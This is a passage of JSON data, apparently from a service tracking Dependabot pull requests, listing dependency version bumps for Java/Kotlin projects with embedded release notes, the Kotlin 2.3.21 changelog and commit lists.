href=\"https://github.com/apps/dependabot\"\u003edependabot[bot]\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eBump org.apache.commons:commons-lang3 from 3.19.0 to 3.20.0 (\u003ca href=\"https://redirect.github.com/apache/maven-enforcer/pull/947\"\u003e#947\u003c/a\u003e) @\u003ca href=\"https://github.com/apps/dependabot\"\u003edependabot[bot]\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eBump commons-io:commons-io from 2.20.0 to 2.21.0 (\u003ca href=\"https://redirect.github.com/apache/maven-enforcer/pull/946\"\u003e#946\u003c/a\u003e) @\u003ca href=\"https://github.com/apps/dependabot\"\u003edependabot[bot]\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eBump commons-codec:commons-codec from 1.19.0 to 1.20.0 (\u003ca href=\"https://redirect.github.com/apache/maven-enforcer/pull/945\"\u003e#945\u003c/a\u003e) @\u003ca href=\"https://github.com/apps/dependabot\"\u003edependabot[bot]\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/apache/maven-enforcer/commit/c7daff33d46c9c3ee0666540c6857c66cf159e70\"\u003e\u003ccode\u003ec7daff3\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare release enforcer-3.6.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/apache/maven-enforcer/commit/ee46e78b046be9882a739c07556940329a7345d6\"\u003e\u003ccode\u003eee46e78\u003c/code\u003e\u003c/a\u003e Make bannedDependencies report root and transitive dependency in case both ar...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/apache/maven-enforcer/commit/0806924d8f6c5ad6105ac387bf323846e769b18c\"\u003e\u003ccode\u003e0806924\u003c/code\u003e\u003c/a\u003e Document the banMavenDefaults option for the requirePluginVersions rule. (\u003ca href=\"https://redirect.github.com/apache/maven-enforcer/issues/936\"\u003e#936\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/apache/maven-enforcer/commit/8e4f5b94453de97592cf3935b79319894f013329\"\u003e\u003ccode\u003e8e4f5b9\u003c/code\u003e\u003c/a\u003e Add better enforceBytecodeVersion rule based on mojohaus (\u003ca href=\"https://redirect.github.com/apache/maven-enforcer/issues/968\"\u003e#968\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/apache/maven-enforcer/commit/fd4b1486dcc93394d5f6a11687efd51d0d30b22d\"\u003e\u003ccode\u003efd4b148\u003c/code\u003e\u003c/a\u003e Add fix for 21.0.10.0.1 issue (\u003ca href=\"https://redirect.github.com/apache/maven-enforcer/issues/967\"\u003e#967\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/apache/maven-enforcer/commit/f32d5979ef387668162c2beb905b368e25accd70\"\u003e\u003ccode\u003ef32d597\u003c/code\u003e\u003c/a\u003e Deps: Parent POM 48 and align deps (\u003ca href=\"https://redirect.github.com/apache/maven-enforcer/issues/979\"\u003e#979\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/apache/maven-enforcer/commit/df0f2a6d7fbbaf79914cdb56fa5899d99c8eaf19\"\u003e\u003ccode\u003edf0f2a6\u003c/code\u003e\u003c/a\u003e Bump commons-codec:commons-codec from 1.21.0 to 1.22.0 (\u003ca href=\"https://redirect.github.com/apache/maven-enforcer/issues/976\"\u003e#976\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/apache/maven-enforcer/commit/2da7a68b4d8d9d2da866ffaf1e07a206c9b7115d\"\u003e\u003ccode\u003e2da7a68\u003c/code\u003e\u003c/a\u003e Add null checks for modelId in PluginWrapper\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/apache/maven-enforcer/commit/91eb4d9fe1f6f65137991c1131131ceaca542245\"\u003e\u003ccode\u003e91eb4d9\u003c/code\u003e\u003c/a\u003e Bump commons-io:commons-io from 2.21.0 to 2.22.0 (\u003ca href=\"https://redirect.github.com/apache/maven-enforcer/issues/975\"\u003e#975\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/apache/maven-enforcer/commit/b6222459bf3256bfd747731a7f4ea81577777ffe\"\u003e\u003ccode\u003eb622245\u003c/code\u003e\u003c/a\u003e Bump mavenVersion from 3.9.14 to 3.9.15 (\u003ca href=\"https://redirect.github.com/apache/maven-enforcer/issues/973\"\u003e#973\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/apache/maven-enforcer/compare/enforcer-3.6.2...enforcer-3.6.3\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore \u003cdependency name\u003e major version` will close this group update PR and stop Dependabot creating any more for the specific dependency's major version (unless you unignore this specific dependency's major version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e minor version` will close this group update PR and stop Dependabot creating any more for the specific dependency's minor version (unless you unignore this specific dependency's minor version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e` will close this group update PR and stop Dependabot creating any more for the specific dependency (unless you unignore this specific dependency or upgrade to it yourself)\n- `@dependabot unignore \u003cdependency name\u003e` will remove all of the ignore conditions of the specified dependency\n- `@dependabot unignore \u003cdependency name\u003e \u003cignore condition\u003e` will remove the ignore condition of the specified dependency and ignore conditions\n\n\n\u003c/details\u003e","html_url":"https://github.com/datasharingframework/dsf/pull/506","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/datasharingframework%2Fdsf/issues/506","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/506/packages"}},{"old_version":"42.7.10","new_version":"42.7.11","update_type":"patch","path":null,"pr_created_at":"2026-05-23T12:34:57.000Z","version_change":"42.7.10 → 42.7.11","issue":{"uuid":"4508139664","node_id":"PR_kwDOKGJCZc7enkBQ","number":218,"state":"open","title":"Bump the dev-dependencies group across 1 directory with 18 updates","user":"dependabot[bot]","labels":["dependencies","java"],"assignees":[],"locked":false,"comments_count":4,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-05-23T12:34:57.000Z","updated_at":"2026-05-23T19:35:39.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"Bump","group_name":"dev-dependencies","update_count":18,"packages":[{"name":"org.jetbrains.kotlin.jvm","old_version":"2.3.20","new_version":"2.3.21","repository_url":"https://github.com/JetBrains/kotlin"},{"name":"org.junit:junit-bom","old_version":"6.0.3","new_version":"6.1.0","repository_url":"https://github.com/junit-team/junit-framework"},{"name":"org.junit.jupiter:junit-jupiter","old_version":"6.0.3","new_version":"6.1.0","repository_url":"https://github.com/junit-team/junit-framework"},{"name":"org.junit.jupiter:junit-jupiter-api","old_version":"6.0.3","new_version":"6.1.0","repository_url":"https://github.com/junit-team/junit-framework"},{"name":"org.junit.vintage:junit-vintage-engine","old_version":"6.0.3","new_version":"6.1.0","repository_url":"https://github.com/junit-team/junit-framework"},{"name":"com.h2database:h2","old_version":"2.3.232","new_version":"2.4.240","repository_url":"https://github.com/h2database/h2database"},{"name":"com.fasterxml.jackson.module:jackson-module-kotlin","old_version":"2.21.2","new_version":"2.21.3","repository_url":"https://github.com/FasterXML/jackson-module-kotlin"},{"name":"com.fasterxml.jackson.dataformat:jackson-dataformat-yaml","old_version":"2.21.2","new_version":"2.21.3","repository_url":"https://github.com/FasterXML/jackson-dataformats-text"},{"name":"io.insert-koin:koin-bom","old_version":"4.1.1","new_version":"4.2.1","repository_url":"https://github.com/InsertKoinIO/koin"},{"name":"io.insert-koin:koin-annotations","old_version":"2.3.1","new_version":"4.2.1","repository_url":"https://github.com/InsertKoinIO/koin"},{"name":"org.jetbrains.kotlin:kotlin-reflect","old_version":"2.3.20","new_version":"2.3.21","repository_url":"https://github.com/JetBrains/kotlin"},{"name":"org.jetbrains.kotlin.jvm:org.jetbrains.kotlin.jvm.gradle.plugin","old_version":"2.3.20","new_version":"2.3.21","repository_url":"https://github.com/JetBrains/kotlin"},{"name":"com.google.devtools.ksp:com.google.devtools.ksp.gradle.plugin","old_version":"2.3.6","new_version":"2.3.8","repository_url":"https://github.com/google/ksp"},{"name":"com.google.devtools.ksp","old_version":"2.3.6","new_version":"2.3.8","repository_url":"https://github.com/google/ksp"},{"name":"com.oracle.database.jdbc:ojdbc11","old_version":"23.26.1.0.0","new_version":"23.26.2.0.0"},{"name":"org.postgresql:postgresql","old_version":"42.7.10","new_version":"42.7.11","repository_url":"https://github.com/pgjdbc/pgjdbc"},{"name":"org.jetbrains.dokka:dokka-gradle-plugin","old_version":"2.1.0","new_version":"2.2.0","repository_url":"https://github.com/Kotlin/dokka"},{"name":"com.diffplug.spotless","old_version":"8.4.0","new_version":"8.5.1"}],"path":null,"ecosystem":"maven"},"body":"Bumps the dev-dependencies group with 18 updates in the / directory:\n\n| Package | From | To |\n| --- | --- | --- |\n| [org.jetbrains.kotlin.jvm](https://github.com/JetBrains/kotlin) | `2.3.20` | `2.3.21` |\n| [org.junit:junit-bom](https://github.com/junit-team/junit-framework) | `6.0.3` | `6.1.0` |\n| [org.junit.jupiter:junit-jupiter](https://github.com/junit-team/junit-framework) | `6.0.3` | `6.1.0` |\n| [org.junit.jupiter:junit-jupiter-api](https://github.com/junit-team/junit-framework) | `6.0.3` | `6.1.0` |\n| [org.junit.vintage:junit-vintage-engine](https://github.com/junit-team/junit-framework) | `6.0.3` | `6.1.0` |\n| [com.h2database:h2](https://github.com/h2database/h2database) | `2.3.232` | `2.4.240` |\n| [com.fasterxml.jackson.module:jackson-module-kotlin](https://github.com/FasterXML/jackson-module-kotlin) | `2.21.2` | `2.21.3` |\n| [com.fasterxml.jackson.dataformat:jackson-dataformat-yaml](https://github.com/FasterXML/jackson-dataformats-text) | `2.21.2` | `2.21.3` |\n| [io.insert-koin:koin-bom](https://github.com/InsertKoinIO/koin) | `4.1.1` | `4.2.1` |\n| [io.insert-koin:koin-annotations](https://github.com/InsertKoinIO/koin) | `2.3.1` | `4.2.1` |\n| [org.jetbrains.kotlin:kotlin-reflect](https://github.com/JetBrains/kotlin) | `2.3.20` | `2.3.21` |\n| [org.jetbrains.kotlin.jvm:org.jetbrains.kotlin.jvm.gradle.plugin](https://github.com/JetBrains/kotlin) | `2.3.20` | `2.3.21` |\n| [com.google.devtools.ksp:com.google.devtools.ksp.gradle.plugin](https://github.com/google/ksp) | `2.3.6` | `2.3.8` |\n| [com.google.devtools.ksp](https://github.com/google/ksp) | `2.3.6` | `2.3.8` |\n| com.oracle.database.jdbc:ojdbc11 | `23.26.1.0.0` | `23.26.2.0.0` |\n| [org.postgresql:postgresql](https://github.com/pgjdbc/pgjdbc) | `42.7.10` | `42.7.11` |\n| [org.jetbrains.dokka:dokka-gradle-plugin](https://github.com/Kotlin/dokka) | `2.1.0` | `2.2.0` |\n| com.diffplug.spotless | `8.4.0` | `8.5.1` |\n\n\nUpdates `org.jetbrains.kotlin.jvm` from 2.3.20 to 2.3.21\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/JetBrains/kotlin/releases\"\u003eorg.jetbrains.kotlin.jvm's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eKotlin 2.3.21\u003c/h2\u003e\n\u003ch2\u003eChangelog\u003c/h2\u003e\n\u003ch3\u003eBackend. Wasm\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84610\"\u003e\u003ccode\u003eKT-84610\u003c/code\u003e\u003c/a\u003e [Wasm] Failed to compile klibs in IC mode\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eCompiler\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84566\"\u003e\u003ccode\u003eKT-84566\u003c/code\u003e\u003c/a\u003e Prevent launching Default dispatcher threads from IJ SDK in kotlin compiler\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85358\"\u003e\u003ccode\u003eKT-85358\u003c/code\u003e\u003c/a\u003e Native: roll back the workaround for KT-84678 once MapLibre has been properly fixed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85626\"\u003e\u003ccode\u003eKT-85626\u003c/code\u003e\u003c/a\u003e  \u003ccode\u003e@JvmRecord\u003c/code\u003e in commonMain breaks compileCommonMainKotlinMetadata with \u0026quot;Cannot access 'java.lang.Record'\u0026quot;\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85405\"\u003e\u003ccode\u003eKT-85405\u003c/code\u003e\u003c/a\u003e Postpone/Revert \u003ccode\u003eDontIgnoreUpperBoundViolatedOnImplicitArguments\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84678\"\u003e\u003ccode\u003eKT-84678\u003c/code\u003e\u003c/a\u003e K/N: Undefined symbol from SPM-added ObjC frameworks when linking iOS target\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85021\"\u003e\u003ccode\u003eKT-85021\u003c/code\u003e\u003c/a\u003e False positive SUBCLASS_CANT_CALL_COMPANION_PROTECTED_NON_STATIC error in multi-module project\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eJavaScript\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-82395\"\u003e\u003ccode\u003eKT-82395\u003c/code\u003e\u003c/a\u003e Support top-level declarations from compiler plugins in JS incremental compilation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84475\"\u003e\u003ccode\u003eKT-84475\u003c/code\u003e\u003c/a\u003e K/JS: false-positive exportability warnings in multi-module project\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84633\"\u003e\u003ccode\u003eKT-84633\u003c/code\u003e\u003c/a\u003e Kotlin/JS: \u0026quot;Serializer for class not found\u0026quot; error when IR output granularity is \u003ccode\u003ewhole-program\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85047\"\u003e\u003ccode\u003eKT-85047\u003c/code\u003e\u003c/a\u003e Kotlin/JS: \u003ccode\u003e@JsStatic\u003c/code\u003e on suspend fun of class companion generates incorrect d.ts\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84517\"\u003e\u003ccode\u003eKT-84517\u003c/code\u003e\u003c/a\u003e K/JS: bad mappings data in outputted Kotlin stdlib source map\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eLibraries\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-71848\"\u003e\u003ccode\u003eKT-71848\u003c/code\u003e\u003c/a\u003e Kotlinx.metadata: Add \u003ccode\u003eCompilerPluginData\u003c/code\u003e into Km API\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eNative. C and ObjC Import\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85399\"\u003e\u003ccode\u003eKT-85399\u003c/code\u003e\u003c/a\u003e Kotlin/Native: TypeCastException when casting ObjC Protocol MetaClass with genericSafeCasts enabled\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85508\"\u003e\u003ccode\u003eKT-85508\u003c/code\u003e\u003c/a\u003e K/N: TypeCastException when using nw_parameters_create_secure_tcp block parameter on 2.3.20\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eTools. Gradle\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84729\"\u003e\u003ccode\u003eKT-84729\u003c/code\u003e\u003c/a\u003e Update Gradle plugin-publish version to enable configuration cache badge on Gradle plugins portal\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eTools. Gradle. Compiler plugins\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85257\"\u003e\u003ccode\u003eKT-85257\u003c/code\u003e\u003c/a\u003e AGP/Compose: MergeMappingFileTask clears R8 artifacts due to \u003ccode\u003e@OutputDirectory\u003c/code\u003e annotation on AGP 9.1+\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eTools. Scripts\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85105\"\u003e\u003ccode\u003eKT-85105\u003c/code\u003e\u003c/a\u003e Scripts: JVM backend internal error (IR lowering) when scratch file contains anonymous object\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85103\"\u003e\u003ccode\u003eKT-85103\u003c/code\u003e\u003c/a\u003e Exception while generating code when explain destructuring decls\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84842\"\u003e\u003ccode\u003eKT-84842\u003c/code\u003e\u003c/a\u003e scriptCompilationClasspathFromContext behavior changed from 2.3.10 to 2.3.20\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85029\"\u003e\u003ccode\u003eKT-85029\u003c/code\u003e\u003c/a\u003e Kotlin Scripting: ScriptDiagnostic reports \u0026quot;at null\u0026quot; instead of error location\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eTools. Statistics (FUS)\u003c/h3\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/JetBrains/kotlin/blob/master/ChangeLog.md\"\u003eorg.jetbrains.kotlin.jvm's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e2.3.21\u003c/h2\u003e\n\u003ch3\u003eBackend. Wasm\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84610\"\u003e\u003ccode\u003eKT-84610\u003c/code\u003e\u003c/a\u003e [Wasm] Failed to compile klibs in IC mode\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eCompiler\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84566\"\u003e\u003ccode\u003eKT-84566\u003c/code\u003e\u003c/a\u003e Prevent launching Default dispatcher threads from IJ SDK in kotlin compiler\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85358\"\u003e\u003ccode\u003eKT-85358\u003c/code\u003e\u003c/a\u003e Native: roll back the workaround for KT-84678 once MapLibre has been properly fixed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85626\"\u003e\u003ccode\u003eKT-85626\u003c/code\u003e\u003c/a\u003e  \u003ccode\u003e@JvmRecord\u003c/code\u003e in commonMain breaks compileCommonMainKotlinMetadata with \u0026quot;Cannot access 'java.lang.Record'\u0026quot;\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85405\"\u003e\u003ccode\u003eKT-85405\u003c/code\u003e\u003c/a\u003e Postpone/Revert \u003ccode\u003eDontIgnoreUpperBoundViolatedOnImplicitArguments\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84678\"\u003e\u003ccode\u003eKT-84678\u003c/code\u003e\u003c/a\u003e K/N: Undefined symbol from SPM-added ObjC frameworks when linking iOS target\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85021\"\u003e\u003ccode\u003eKT-85021\u003c/code\u003e\u003c/a\u003e False positive SUBCLASS_CANT_CALL_COMPANION_PROTECTED_NON_STATIC error in multi-module project\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eJavaScript\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-82395\"\u003e\u003ccode\u003eKT-82395\u003c/code\u003e\u003c/a\u003e Support top-level declarations from compiler plugins in JS incremental compilation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84475\"\u003e\u003ccode\u003eKT-84475\u003c/code\u003e\u003c/a\u003e K/JS: false-positive exportability warnings in multi-module project\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84633\"\u003e\u003ccode\u003eKT-84633\u003c/code\u003e\u003c/a\u003e Kotlin/JS: \u0026quot;Serializer for class not found\u0026quot; error when IR output granularity is \u003ccode\u003ewhole-program\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85047\"\u003e\u003ccode\u003eKT-85047\u003c/code\u003e\u003c/a\u003e Kotlin/JS: \u003ccode\u003e@JsStatic\u003c/code\u003e on suspend fun of class companion generates incorrect d.ts\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84517\"\u003e\u003ccode\u003eKT-84517\u003c/code\u003e\u003c/a\u003e K/JS: bad mappings data in outputted Kotlin stdlib source map\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eLibraries\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-71848\"\u003e\u003ccode\u003eKT-71848\u003c/code\u003e\u003c/a\u003e Kotlinx.metadata: Add \u003ccode\u003eCompilerPluginData\u003c/code\u003e into Km API\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eNative. C and ObjC Import\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85399\"\u003e\u003ccode\u003eKT-85399\u003c/code\u003e\u003c/a\u003e Kotlin/Native: TypeCastException when casting ObjC Protocol MetaClass with genericSafeCasts enabled\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85508\"\u003e\u003ccode\u003eKT-85508\u003c/code\u003e\u003c/a\u003e K/N: TypeCastException when using nw_parameters_create_secure_tcp block parameter on 2.3.20\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eTools. Gradle\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84729\"\u003e\u003ccode\u003eKT-84729\u003c/code\u003e\u003c/a\u003e Update Gradle plugin-publish version to enable configuration cache badge on Gradle plugins portal\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eTools. Gradle. Compiler plugins\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85257\"\u003e\u003ccode\u003eKT-85257\u003c/code\u003e\u003c/a\u003e AGP/Compose: MergeMappingFileTask clears R8 artifacts due to \u003ccode\u003e@OutputDirectory\u003c/code\u003e annotation on AGP 9.1+\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eTools. Scripts\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85105\"\u003e\u003ccode\u003eKT-85105\u003c/code\u003e\u003c/a\u003e Scripts: JVM backend internal error (IR lowering) when scratch file contains anonymous object\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85103\"\u003e\u003ccode\u003eKT-85103\u003c/code\u003e\u003c/a\u003e Exception while generating code when explain destructuring decls\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84842\"\u003e\u003ccode\u003eKT-84842\u003c/code\u003e\u003c/a\u003e scriptCompilationClasspathFromContext behavior changed from 2.3.10 to 2.3.20\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85029\"\u003e\u003ccode\u003eKT-85029\u003c/code\u003e\u003c/a\u003e Kotlin Scripting: ScriptDiagnostic reports \u0026quot;at null\u0026quot; instead of error location\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eTools. Statistics (FUS)\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85628\"\u003e\u003ccode\u003eKT-85628\u003c/code\u003e\u003c/a\u003e KGP: composite build FUS metrics fail on access of 'configurationTimeMetrics'\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/JetBrains/kotlin/commit/fea1ad8c18995b80d1ca0e3917056104613d23db\"\u003e\u003ccode\u003efea1ad8\u003c/code\u003e\u003c/a\u003e Add ChangeLog for 2.3.21-RC2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/JetBrains/kotlin/commit/09c341e858b8f70d92955fc6b67d6a04962760b4\"\u003e\u003ccode\u003e09c341e\u003c/code\u003e\u003c/a\u003e disable swift export execution tests in order to update macos\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/JetBrains/kotlin/commit/67a08681cdd53b318217e6f35d835e0ab3b2e31c\"\u003e\u003ccode\u003e67a0868\u003c/code\u003e\u003c/a\u003e Avoid accessing KotlinNativeLink taskProvider when task was not executed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/JetBrains/kotlin/commit/f89e5dbc1867714116e17be1066d6c68e30cc2d4\"\u003e\u003ccode\u003ef89e5db\u003c/code\u003e\u003c/a\u003e [K/N] Disable TSAN in runtime tests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/JetBrains/kotlin/commit/45d6c859c027c4e82b14b4861e36bc125600e2b0\"\u003e\u003ccode\u003e45d6c85\u003c/code\u003e\u003c/a\u003e [K/N] Don't generate generic safe casts for Objective-C types\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/JetBrains/kotlin/commit/9261a6f0790b7504e0223e9e0a0dd242fe0cc3f7\"\u003e\u003ccode\u003e9261a6f\u003c/code\u003e\u003c/a\u003e [K/N][tests] Add a reproducer for KT-85508\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/JetBrains/kotlin/commit/c9ab9db37a191f2eb1ce0f5b7ff502ca9d4b3a0d\"\u003e\u003ccode\u003ec9ab9db\u003c/code\u003e\u003c/a\u003e [K/N][tests] Add a reproducer for KT-85399\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/JetBrains/kotlin/commit/502e84484e520fbe1a93958be8da97e06a04d7ed\"\u003e\u003ccode\u003e502e844\u003c/code\u003e\u003c/a\u003e Explain: fix for destructuring declarations\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/JetBrains/kotlin/commit/0c26485d83f532aa8afbb868895061b7132fd7c8\"\u003e\u003ccode\u003e0c26485\u003c/code\u003e\u003c/a\u003e Explain: fix for object literals\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/JetBrains/kotlin/commit/68a9e3f99fcd59c5440970f5f34aff09ce462a69\"\u003e\u003ccode\u003e68a9e3f\u003c/code\u003e\u003c/a\u003e [minor] fix testdata name in explain test\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/JetBrains/kotlin/compare/v2.3.20...v2.3.21\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `org.junit:junit-bom` from 6.0.3 to 6.1.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/junit-team/junit-framework/releases\"\u003eorg.junit:junit-bom's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eJUnit 